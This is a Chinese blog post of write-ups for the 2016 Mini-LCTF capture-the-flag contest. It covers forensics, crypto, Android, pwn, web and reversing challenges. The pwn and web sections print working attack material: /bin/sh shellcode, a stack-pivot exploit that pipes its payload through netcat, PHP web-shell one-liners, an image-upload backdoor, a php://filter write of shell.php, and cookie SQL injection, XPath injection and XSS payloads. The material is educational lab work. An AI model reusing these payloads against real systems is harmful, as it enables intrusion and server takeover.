0x00
昨天算是成为了L-Team烧水组的一员,先mark一下,慢慢来吧,希望自己能成为未来的核心成员,先发一篇来自L-Team的2016 Mini-LCTF的WriteUp.
0x01 Forensics
K-ON!
Description:补番系列之六:http://bangumi.bilibili.com/anime/1174
File:Nakano.jpg
WriteUP:
http://minilctfdownload-1252778279.costj.myqcloud.com/xp.7z
这题是内存取证,其实很简单。首先,我们用编辑器打开图片就能看到内存dump的下载地址。这里是VMWare的虚拟内存文件,flag写在桌面的一个flag.txt里,同时这个txt在内存dump的时候,是打开显示在桌面的。因此,我们有几种解法:
因为我在写flag.txt的时候,将flag复制在
clipboard
,因此直接使用工具Volatility就可以将clipboard
的内容导出。
我们使用
filescan
插件就能找到内存里的文件。这里我们使用grep
过滤下,得到以下结果:
Angel Beats!
Description:补番列表之http://bangumi.bilibili.com/anime/959
File:Kanade.png
WriteUP:
这题的思路是这样:
图片LSB隐写还原一个下载链接:
从下载链接得到Docker镜像,并用命令挂载
cat Angel_Beats.tar|docker import - lctf:f500
- 运行并进入容器,可以发现在
/home/xxxx/
目录下有加密的一半flag。 - 通过检查发现,容器有Apache和Mysql,运行访问80端口就能看到一个博客站点。而且能够发现有一个加密的文章。
- 进入Mysql,得到管理员密码,进入后台就可以看到加密文章里的一半flag。
- 最后通过翻Mysql数据库可以发现一个
import
表,从中得到一个密钥。猜测AES加密,使用密钥和第三步的密文得到另一半flag。
- 最后通过翻Mysql数据库可以发现一个
0x02 Misc
回转十三位
Description: LFIEOU33ONUGS6C7OJQXAMDROJ6Q====
WriteUp: Base32+rot13 (google rot13)
Easy
Description: LbbeCaarT3r}Fer{_i
WriteUp: 栅栏密码
Noisy
File: wav
WriteUp:
查看频谱就可以了
盗用参赛同学一张图:
Sword Art Online
Description: 补番系列之三:刀剑神域(B站没有自己找去。。。
File: wtf.txt
文件打开以后有1166400行,也就是1440*810,然后一行行把文件里给的三元组打印出来有一张图片,里面就有flag
1 | from PIL import Image |
樱花庄的宠物女孩
Description: 补番系列之一:http://bangumi.bilibili.com/anime/687
File: Mashiro.jpg
WriteUp:
- 用十六进制打开图片,发现其末尾有一段数据。
- 用Base85既可以解开得到Flag
Steins;Gate
Desciption: 补番系列之二:http://bangumi.bilibili.com/anime/836
File: Stardust_Shake_hand.zip
WriteUp:
使用
ElcomsoftPasswordRecoveryPortable
爆破ZIP密码(6位数字)解压得到图片,通过分析可以发现图片是两张JPG图拼接在一起,且第二张图的头部被破坏了。
将第二张图片导出,并修复头部即可。
魔法少女小圆
Description: 补番系列之四:http://bangumi.bilibili.com/anime/2539
File: Madoka.zip
WriteUp:
查看enc.py脚本,发现用
Crypto.Util.strxor.strxor()
函数将源图片与2000W位的PI进行异或。使用
FastPi.exe
程序生成2000W位或更大的PI,或者网上下载。编写dec脚本(简单地利用enc.py)
从恢复出来的图片里找到.zip文件(文件头50 4B 03 04)
去除zip文件的伪加密,得到flag图片
MoreThings
Description: An interesting PDF
File: MoreThings.pdf
WriteUp:
1 |
|
Document
Description:
Word文档可以插入图片的说, 可这是怎么做到的呢?
PS: 不要修改文档哦, 不然Flag可能会消失(我也不知道为什么).
File: document.zip
WriteUp:
把Word文档当成压缩包解压开就可以看到有flag的那张图片
0x03 PPC
mess_file
Description: flag被打乱了。排列组合,找到一个有意义的组合,按单词分组后提交。
File: mess_file.zip
Hint:
Hint 1:
其实不用求所有的排列组合。既然是flag是有意义的,那么它肯定是一些英语和数字组合成的单词。从所有的片段中挑两个,然后排列(即求 A(13, 2)),找到一个有意义的,即可确定flag中的一个英语单词。接下来删掉已经确定的单词所在片段,得到一组新的片段。重复以上步骤,问题就变得越来越简单。最终得到flag。
Hint 2:
尝试把数字 1 换成字母 l,把 4 换成字母 a ,数字 0 换成字母 o 什么的。再试试看。
hint 3:
其实,最最重要的是开头的那个英文单词!首先把所有的数字对应的字母,然后从13个片断里找两个进行排列,最多有13乘12等于156种排法!英语单词常以辅音开头,这样再删去所有以元音开头的,就没剩几个了!这样就能确定第一个单词啊啊!剩下的就很容易了!可以靠人工拼接,也可以用hint
1的思路!
hint 4:
一共四个单词,长度分别是 4, 3, 4, 11
WriteUp:
题目是让从一堆文件里找到一些有意义的组合,组成flag。
这道题考察算法,主要是想看看大家如何利用己知细节缩小搜索范围。
出题时的代码是这样写的:
1 |
|
嗯,基本没啥用。
然后看题目,一共14个文件,其中有一文件里面啥都没有,删掉。
现在我们来看看如何缩小搜索范围:
与其找到所有的排列情况,我们不如尝试先找开头那个单词。最简单的情况,从13个文件里随便找两个进行组合,如果不行,就找三个,再不行就四个。聪明的你一定能想到出题人不可能会让你用四个或四个以上文件排列组合,没意思。事实上真实情况就是这样的,只要用两个进行组合,就能看到第一个单词have。代码如下:
1 | import os |
由于数字1可以被替换成小写字母l或大写字母I等多种,我们先不替换。
输出的文件内容如下:
tef
tn
tw
thav
tu
tn
tg
tog
t1am
tm1
thp1
t1
nt
nef
nw
nhav
nu
nn
ng
nog
n1am
nm1
nhp1
n1
wt
wef
wn
whav
wu
wn
wg
wog
w1am
wm1
whp1
w1
havt
havef
havn
havw
havu
havn
havg
havog
hav1am
havm1
havhp1
hav1
nt
nef
nn
nw
nhav
nu
ng
nog
n1am
nm1
nhp1
n1
gt
gef
gn
gw
ghav
gu
gn
gog
g1am
gm1
ghp1
g1
1amt
1amef
1amn
1amw
1amhav
1amu
1amn
1amg
1amog
1amm1
1amhp1
1am1
m1t
m1ef
m1n
m1w
m1hav
m1u
m1n
m1g
m1og
m11am
m1hp1
m11
hp1t
hp1ef
hp1n
hp1w
hp1hav
hp1u
hp1n
hp1g
hp1og
hp11am
hp1m1
hp11
1t
1ef
1n
1w
1hav
1u
1n
1g
1og
11am
1m1
1hp1
很容易找到第一个单词have
如果你仔细观察输出的文件中的内容,会发现有一个1og,可能是单词log,如果你在代码里把
for p in permutations(allStr, 2):
里的2改成3,然后再看输出文件(这次有一千多个组合),有关log的部分如下所示:
1ogt
1ogef
1ogn
1ogw
1oghav
1ogu
1ogn
1ogg
1og1am
1ogm1
1oghp1
这个单词其实无法排除,你需要在have和log里赌一把运气。
假如你选择了have:
这时我们把have这几个字母从文件里删去,留下一个f。再运行脚本,又是1100个组合,不过很快就能看到fun这个单词
…
fw1am
fwm1
fwhp1
fw1
fut
fun
fuw
fun
fug
fuog
fu1am
…
接下来越来越简单,再删去fun这三个字母,再运行脚本(可能需要修改permutations里的第二个参数)。这时其实我们已经有have_fun这两个信息了,完全可以根据英语语法猜一猜下一个,然后去验证。
…
w1tn
w1tg
w1tog
w1t1am
w1tm1
w1thp1
w1nt
w1ng
w1nog
w1n1am
w1nm1
w1nhp1
w1gt
…
这次我们从2688个组合中可以看到w1thp1,从而确定with。
确定了with,基本上就能猜到下一个只能是一个名词了,而且这个名词的开头是p1。这时强烈建议用肉眼观察法。最终确定programming。
这道题确实可能有点坑,需要耐心。^_^
逆向工程
Description:
已知输出:8李cM脆1權鑘/淌c撔鎠/蘦r/
求一串有意义的输入。用下划线分组后提交。
hint:
稍微查一下就能知道,static_cast总是true,dynamic_cast对于基类到派生类是false,而派生类到基类是true,虚函数可能有些复杂,具体调用哪个虚函数需要看对象是哪个类型的,而不是看指针。然而,这些都不重要!大家可以尝试下,对于同一个的输入,只有四种不同的输出!也就是说,完全可以不用看复杂的代码,只需要在basic_fun那里设断点,看看四种不同的映射分别是什么,大不了根据输出把四个可能的输入都找出来,然后选择那个有意义的就可以了!是不是很简单!
File:
simple_cpp_challenge.zip
WriteUp:
直接运行程序,得到 navie 的输出:
把输出的字符串复制到一个 txt 文本文档里,然后用十六进制编辑工具打开。可以很清楚地看到,’n’ 为6E,被替换成了 4A,‘a’为 61 ,被替换成了84.以此类推。
打开计算器。选择程序员模式。
分别尝试 6E 1, 6E 3, 6E * 4,发现 6E 乘 3时得到14A. 和4A只差了个1.可以猜想是 char 长度限制引起的。
在左下角选择字节模式。果然变成了 4A. 可见确实是 char 长度限制。
因此这次的输出用到的是 arr_2,并且没有做 -=,而是只做 了 *=。
于是用14A / 3,用 184 / 4, 用D2 / 2,可分别得到 nai 这三个字母的 ascii 码。其余类似 。
T_T…..
0x04 Mobile
Log
Description: 这是一个很有趣的东西(请提交’{}’内内容)
File: mobile20.apk
WriteUp:
flag ndk写入.so文件中,logcat输出,然后将单个字符拼接即可得flag
1 | Java_com_l_ring_logapplication_MainActivity_stringFromJNI( |
1 | TextView tv = (TextView) findViewById(R.id.sample_text); |
Base
Description: 各使神通吧–
File:mobile50.apk
WriteUp:
这是一堆smali代码,代码的逻辑比较简单,就是AES加密,于是就直接将Java代码贴出来
1 | public class Encrypt { |
key为handle(“this_is_your_key”);
handle()则为将字符串的奇偶位置字符互换;然后AESEncrypt,明文为falg=key,
然后密文bytes转换为hex编码,即为flag;
(所以是不需要写decrypt)
Smali
Description: 这可不是什么神秘代码–
File: mobile.apk
WriteUp:
这是一个base64的Java实现,其中Base.java即为具体实现方式(就是正常的base64,没有改变)。虽然经过简单混淆,但若跟进分析,仍很清晰。
1 | public class MainActivity extends AppCompatActivity { |
从这段代码可以看出主要有检测debuggable的处理,以及debugger的检测处理;
有一个地方是生成flag的if判断,这里有两个方法,一是修改代码逻辑使if条件为真,另一种则是直接从逆向的代码中还原逻辑,得出falg;
然后有一个关键类Handle(),这即是一个对str进行处理的类,handle处理后则进行base64;
1 | public class Handle { |
正如代码命名flag,即可得flag。
0x05 Crypto
easyCrypto
Description:
根据加密脚本,解密出明文Plain。
flag——->md5(Plain)
hint:送你一个字母表–>Alphabet=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]
File:
cipher.txt
encrypt.py
WriteUp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59import itertools
from string import letters
from chzs import chzsStep1, chzsStep2
import time
# ##1.random
# ##2.each
def decrypt(key,cipher):
plain=''
lenth=len(key)
count=0
for x in cipher:
plain+=chr((ord(x)-ord(key[count%lenth]))%26+ord('a'))
count+=1
return plain
def getKey1():
#chushihua()
#kasiski()
c=0
lenth=29
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
key_list=(''.join(x) for x in itertools.product(*[letters[:26]]*3))
#get key1
time_start=time.time()
for key in key_list:
if chzsStep1(lenth, decrypt(key, sec_msg)):
print key
break
time_end=time.time()
print (time_end-time_start)
def getKey2(key1):
lenth = 29
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
chzsStep2(lenth, decrypt(key1, sec_msg))
print decrypt(key1, decrypt("sinatqihbkpfdjmlkgssmnlhxcccr", sec_msg))
def test():
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
key1 = 'wyr'
key2='wmrexumlfotjhnqpokwwqrplbgggv'
print chzsStep1(len(key2), decrypt(key1, sec_msg))
print chzsStep1(len(key1), decrypt(key2, sec_msg))
print decrypt(key1, decrypt(key2, sec_msg))
if __name__ == '__main__':
#test()
getKey1()
# getKey1()#choose a good key 1
getKey2("acv")# got key2
1 |
|
veryEasy
Description:
很简单的算法,干掉它。
注:encrypted在代码最下一行
File: verryEasy.py
WriteUp:
1 | m="74f648f64bc9d517d1de584358ed903ffa54e503e53f58ed479854fa94e5ed9898fa544747eded58439434" |
rsa200&rsa300
File:
rsa200.py
rsa300.py
WriteUp:
1 | from datetime import datetime |
0x06 Pwn
Pwn1
File: pwn1
WriteUp:
直接溢出即可
1 |
|
Pwn2
File: pwn2
WriteUp:
直接溢出,绕过if语句即可
1 |
|
Pwn3
File: pwn3
WriteUp:
直接溢出覆盖函数返回地址跳转到luck函数即可getshell
1 |
|
Pwn4
File: pwn4
WriteUp:
直接溢出跳到数据段上预先存放好的shellcode处即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19BITS 32
_start:
jmp test1
test:
pop ebx
mov BYTE [ebx + 0x7], al
mov DWORD [ebx + 0x8], ebx
mov DWORD [ebx + 0xc], eax
lea ecx, [ebx + 0x8]
xor edx, edx
mov al, 0xb
int 0x80
test1:
xor eax,eax
call test
db '/bin/shA', 0x00
nasm shellcode.asm
编译shellcode
Exploit
1 |
|
Pwn5
File: pwn5
WriteUp:
直接溢出覆盖ebp,即stack pivoting,将esp转移到数据段上的可控缓冲区上,然后通过rop来调用system即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2337", NULL};
execve("/bin/netcat", arg, NULL);
}
void
write_payload(int fd) {
int i = 0;
/* junk */
write(fd, "AAAABBBBCCCC", 0xc);
/* adr_stage pivot */
write(fd, "\x00\xa5\x04\x08", 0x4);
/* junk */
for (i = 0; i < 0x0804a500 - 0x0804a080 + 4; i++) {
write(fd, "A", 0x1);
}
/* system@plt */
write(fd, "\xd0\x83\x04\x08", 0x4);
/* ret of system */
write(fd, "\xef\xbe\xad\xde", 0x4);
/* adr_stage + 0x30 */
write(fd, "\x30\xa5\x04\x08", 0x4);
for (i = 0; i < 0x20; i++) {
write(fd, "A", 0x1);
}
write(fd, "/bin/sh\x00", 0x8);
}
void
interact(int fd) {
int count = 0;
char command[0x100];
while (1) {
count = 0;
memset(command, '\x00', 0x100);
while (1) {
read(0, command + count, 0x1);
if (command[count] == '\n' || count >= 0xfe) {
break;
}
count++;
}
command[0xff] = '\x00';
write(fd, command, strlen(command));
}
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
interact(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}
0x07 Web
苏打学姐的朋友
WriteUp:
描述说只有朋友才能访问,只需要修改Rrferrer为允许的就可以,看了给了几个链接,所以随意修改一个就可以
了。
苏打学姐撞上碳酸钠了
WriteUp:
打开源代码可以看到给的代码
1 | key = "aa3OFF9m"; |
根据意思只要将你输入的字符的sha1值和系统给的aa3OFF9m的sha1值对比,相等就可以得到flag,但是因为这是php
这个地方google也可以google到,只要找到另一个字符加密后也是0e开头就可以被代码判断相等了,至于这段特殊的字符,你可以自己脚本去碰撞。就是随机加密字符,一直到0e开头为止,也可以去搜索一下,坑呢个别人已经碰过呢。
最后payload
吓得苏打学姐都编码了
WriteUp:
一样打开源代码 可以看到代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21error_reporting(0);
function show_flag(){
$flag = "a f4ke flag";
echo $flag;
exit();
}
function anti(){
$query = $_SERVER['QUERY_STRING'];
$query = urldecode($query);
$query = strtolower($query);
if(preg_match('/show/', $query) or preg_match('/flag/', $query)){
return false;
}else{
return true;
}
}
if(anti()){
eval('"$str=(string)'.$_GET['str'].'";');
}else{
echo 'detect the evil words';
}
根据代码可以知道,只需要执行show_flag()这个函数就可以得到flag,并且代码将你传进来的字符str当着代码来执 行。
但是你不能直接就show_flag,会被anti()这个函数检查到,所以既然能够执行你传进来的代码,方式就很多了。你 可以把show_flag的编码一下,并且解码一下,就可以绕过了,这个给一个payload1
str = ${${eval(base64_decode($_GET[0]))}}&0=c2hvd19mbGFnKCk7
其实这里给了eval就相当给了一个shell了,完全可以用菜刀连接了, 构造http://xxxxxxxxxxxx/evil.php?str=${${eval($_POST['pass'])}}
苏打学姐要打针了
Description:
学xml当然也要学习学习xpath咯–>http://www.w3school.com.cn/xpath/xpath_syntax.asp
WriteUp:
这个打开也可以看到源码 示,这是一个随xml文件中元素进行输出的代码。题目也给了xpath语法链接,其中有一
个重要的符号 | ,它可以将两个查询并焦输出, 原来的查询代码:
$query = “user/username[@id=’”.$uid.”‘]”; 所以我们可以构造一个特殊的查询:1
']| //* |user['
解释:先用 ‘] 将原来的括号闭合,再来一个查询所有元素的查询语句 //* ,最后使用 user[‘ 将最后的符号闭合。三 个查询使用 | 连接起来。
苏打学姐不会PHP
WriteUp:
打开查看源代码有一个 示: .index.php.swp ,这是一个vim编辑器异常退出时生成的备份文件。所以下载下来恢
复一下,恢复,有很多人直接记事本打开看到,但是很乱,使用vim的命令恢复就很规整。 命令:1
vim ‐r .index.php.swp
得到源码
1 |
|
绕过分析:
- id==0且!$_GET(“id”)为假,这个地方使用php弱类型就行。 比如构造:id=false,id=0e…
- $a不包含点且a文件内容为特定的 a=http://your vps IP/test`把其中ip用iphex编码为0x739F915C iphex工具 在线
- 最简单是使用php伪协议。使用php://input输入流
- b满足eregi(“biubiu”.substr( b,0,1)!=4。这是低版本php的eregi函数的问题。 使用b=*, b=(什么也不填),都可 以绕过。
回字有几种写法
WriteUp:
url后面跟了一个id参数,猜测是sql注入。但是直接注入会发现被waf拦截。那么如何绕过waf呢,waf自身规则很严格,基本过滤了所有敏感字符。
我们post一个id参数,会被程序接收但是也同样被waf拦截了。但我们可以脑补一下程序员一定是使用了能同时接收get和post型的request函数,而request函数还能够通过cookie接收参数,而waf只对get和post来的数据进行了处理,而忽略了cookie,造成注入。
最终payload:Cookie:id=-1 union select 1,2,flag,4 from `where`
easyXSS
Description:
http://ctf.math1as.com/xss2.php
请使用chrome 54/55进行本挑战
payload必须无需交互,成功弹出1即可
请注意,无需交互指的是用户不能做除了打开页面外的任何操作
完成挑战后,把截图和payload发到邮箱 mathias@l-team.org 来获得你的flag
WriteUp:
过滤了script
而其他几乎没有限制
所以主要的思路是要绕过Chrome的auditor
这里的通用方法是在敏感关键字处加入script
比如
当然,也可以用一些字符集的问题
比如
然后关键字插入%1B%28B来绕过
xss challenge
Description:
题目链接 http://ctf.math1as.com/xss.php
请使用最新的浏览器(chrome 54/firefox 50)进行本挑战
payload必须无需交互,请注意,无需交互指的是用户不能做除了打开页面外的任何操作,成功弹出1即可
完成挑战后,把截图和payload发到邮箱 mathias@l-team.org 来获得你的flag
WriteUp:
一道dom-xss,这里过滤了大部分的符号,比如.点号 ( 括号等
还有除了onfocus外的大部分事件
要构造出一个无需交互的payload
你需要使用autofocus
但是由于标签是
因此需要加入tabindex=0 使其支持这个事件
最后加入id=”2” location.hash处输入#2即可
但是我们的1被过滤了,怎么办呢
使用prompt函数,它支持用es6模板字符串传参
因此直接${3-2}
就成功的绕过了
1 | http://ctf.math1as.com/xss.php?content=%22id=2%0atabindex=0%0aonfocus=prompt`${3-2}`|%22#2 |
当然,也可以使用
方法不再赘述
苏打学姐的相册
Description:
苏打学姐有一个小相册,首页是她最喜欢的一张照片,她把flag也放在相册里了,你能找到它吗?(说不定flag旁边还有苏打学姐的全套表情包^_^
WriteUp:
很明显这是一道上传绕过,先上源代码:index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51<form id="uploadFileform" action="upload.php" method="post" enctype="multipart/form-data" >
<center>
<img src="static/upload/suda.png" />
<hr style="size: 1" />
</center>
<center>
<input id="uploadImage" value="" type="file" name="uploadImage" size="50" />
<p>今年苏打不收图,收图只收PNG</p>
<p>
<input class="primary" type="button" value="submit" onclick="uploadImages();"/>
</p>
<hr style="size: 1" />
</center>
</form>
<script src="jquery-3.1.1.min.js"></script>
<script>
function uploadImages() {
var str = $("#uploadImage").val().toLowerCase();
if(str.length!=0){
var reg = ".*\\.(png|jpg)";
var r = str.match(reg);
if(r == null){
alert("你往上传了个啥?!");
}
else {
if(window.ActiveXObject) {
var image=new Image();
image.dynsrc=str;
if(image.fileSize>51200){
alert("这图....有点大啊......别超50K吧");
return false;
}
}
else{
var size = document.getElementById("uploadImage").files[0].size;
if(size>51200) {
alert("这图....有点大啊......别超50K吧");
return false;
}
}
$('#uploadFileform').submit();
}
}
else {
alert("图呢?");
}
}
</script>
uload.php
1 | <?php |
好吧,我们看有哪几个地方限制了上传:
- javascript
- 后缀名黑名单
- MIME类型
- 检测了文件头
- 检测了文件内容里是不是含有<?php,<%,eval,assert
那我们上传一张正常的图片,然后在burp里修改后缀为可以被解析的phtml,然后往图片内容里插入一句话木马:
1 | <script language="php">$e = $REQUEST['e'];$arr = array($POST['pass'],);array_filter($arr, base64_decode($e));</script> |
绕过了内容检测,菜刀连上就可以啦
(有同学对这个后门有疑问,这个菜刀连的时候地址填http://xxx.xxx.xxx/eval.phtml?e=YXNzZXJD就可以啦,详细参见P总的博客https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html)
苏打学姐的另一个相册
Description:
咳咳..前面那个相册在前两天大家做题的时候被苏打发现了,所以她紧急删掉了自己珍藏的表情包……….但是亲爱的萌新们可能有所不知,苏打学姐的黑照在协会已流传多年,并且协会的高年级成员建了一个网站专门展示苏打学姐的黑照…….但好景不长,由于在网站上公开的黑照在网络上的影响过于恶劣,应有关部门要求下架了绝大部分照片.
而协会的大黑阔们把资源打了个加密包转移到了云上,链接,解压密码都还存在这个站上. 每次都通过一种极其”hack”的方式访问…..
WriteUp:
我们还是先看一下源代码:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//int_set("display_errors","On");
if($_POST['shellname6ba3'] && $_POST['content8b7e']){
$prefix = "<?php exit(you die); ?>";
$content = $prefix.$_REQUEST['content8b7e'];
file_put_contents($_REQUEST['shellname6ba3'],$content);
}
$include_file = empty($_GET['file']) ? "photo":$_GET['file'];
if(preg_match('/\.\./',$include_file)){
exit('Impossible!');
}
include($include_file.'.php');
photo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
if(!$_GET['id']){
$_GET['id'] = 1;
}
function query_filter($str){
$str = strtolower($str);
$black_list = array("\\","and","or"," ","/","*","+","="," ","\n");
$safe_str = str_replace($black_list,array(''),$str);
/*
while($str !== $safe_str){
$str = $safe_str;
$safe_str = str_replace($black_list,array(''),$str);
}
*/
return $safe_str;
}
$query_str = query_filter($_GET['id']);
$db_host = 'localhost';
$db_name = 'xdsec';
$db_username = 'web';
$db_password = "testr";
$mysqli = mysqli_connect($db_host, $db_username, $db_password, $db_name);
if(!$mysqli){
exit("DB error!");
}
$sql = "select * from pics where id =".$query_str;
//echo $sql;
$result = $mysqli->query($sql);
if(!$result){
exit("Query failed!");
}
$row = mysqli_fetch_row($result);
$pre_link = "index.php?file=photo&id=".($_GET['id']<=1 ? 1:$_GET['id']-1);
$next_link = "index.php?file=photo&id=".($_GET['id']+1);
print <<<HTML
<html>
<title></title>
<body>
<center>
<DIV ID="soccer">
<img SRC="{$row[1]}" border="0" onclick="javascript:window.open(this.src);" style="cursor:pointer;"/>
</DIV>
<hr>
<p>Description: {$row[3]}</p>
<p>Posted on {$row[2]}</p>
<hr>
<p><a href="{$pre_link}">上一张</p><p><a href="{$next_link}">下一张</p>
</center>
<SCRIPT>
var msecs=60;
var counter=0;
function soccerOnload(){
setTimeout("blink()", msecs)
}
function blink(){
soccer.style.visibility=(soccer.style.visibility=="hidden") ? "visible" : "hidden"
counter+=1;
setTimeout("blink()", msecs)
}
soccerOnload()
</SCRIPT>
</body>
</html>
HTML;
首先这个题目看网
址就能发现一个?file=photo参数,所以很有可能有文件包含,事实也是这样子的,所以我们先用1
php://filter/convert.base64-encode/resource=index
读出index的源代码,得到了可以写文件的参数,但是无论如何都会在你写的文件前面加上exit,我们需要绕过这个exit
所以构造payload:
1 | content8b7e=aaaPD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=php://filter/write=convert.base64-decode/resource=shell.php |
content8b7e参数中前面的aaa是为了补齐<?php exit(you die); ?>中13个可以被base64解码的字节(phpexityoudie,其余的将被跳过)为16个字节,因为base64是每4个字节解码成3个字节,这样一来三个a连同前面的一起被当做base64编码解码成乱码从而绕过了exit的执行,后面的PD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=被解码成一句话木马写入文件,拿菜刀连上就可以了 关于参数shellname6ba3,不再详细解释,详见P总博客 https://www.leavesongs.com/PENETRATION/php-filter-magic.html
PS: 这个题的数据库里还有”苏打门”的下载链接,Flag就是解压密码(当然…..下载下来以后其实是葫芦娃……)
0x08 Re
Easy GUI
Description: 最经典的Windows GUI逆向, 超简单的说.
File: EasyGUI.zip
WriteUp:
的确是最经典的Windows GUI逆向. 由Win AIP写成.
OD直接下断点
1 | bp GetDlgItemTextA |
断下来之后, Ctrl+F9回到用户空间, 直接就能找到验证部分的代码. 直接OD里面调试, 也可以根据地址在IDA里面读汇编/F5.
或者全程IDA分析可以(Ctrl+F12显示字符串, 根据输出的字串定位代码位置).
函数地址0x0401340, 加密方式是key和密文循环XOR, 计算后和输入进行比对(所以最懒得话可以直接在OD里试N次读出password).
python脚本:
1 | key = [ord(x) for x in "WinAPI"] * 10 |
Easy Linux
Description:
IDA不好用了…那你知道GDB么? Linux下的神级动态调试器哦.
PS: 主程序是EasyLinux. 复制到虚拟机后记得”chmod +x EasyLinux”
File: EasyLinux.zip
WriteUp:
就是个Linux下的逆向而已…其实非常简单.
这个程序为了防止被IDA直接静态分析, 简单的玩了点低级的花招:
data.dat实际上是个.so文件(Linux的dll), 执行主程序后主程序会装载这个data.dat(Linux下文件没有后缀名这一说法).
真正的校验函数藏在这个data.dat中…所以有以下分析方案:
- 直接IDA分析这个data.dat, IDA会识别出来. 然后F5大法即可. 但是要求能够看出data.dat的本质.
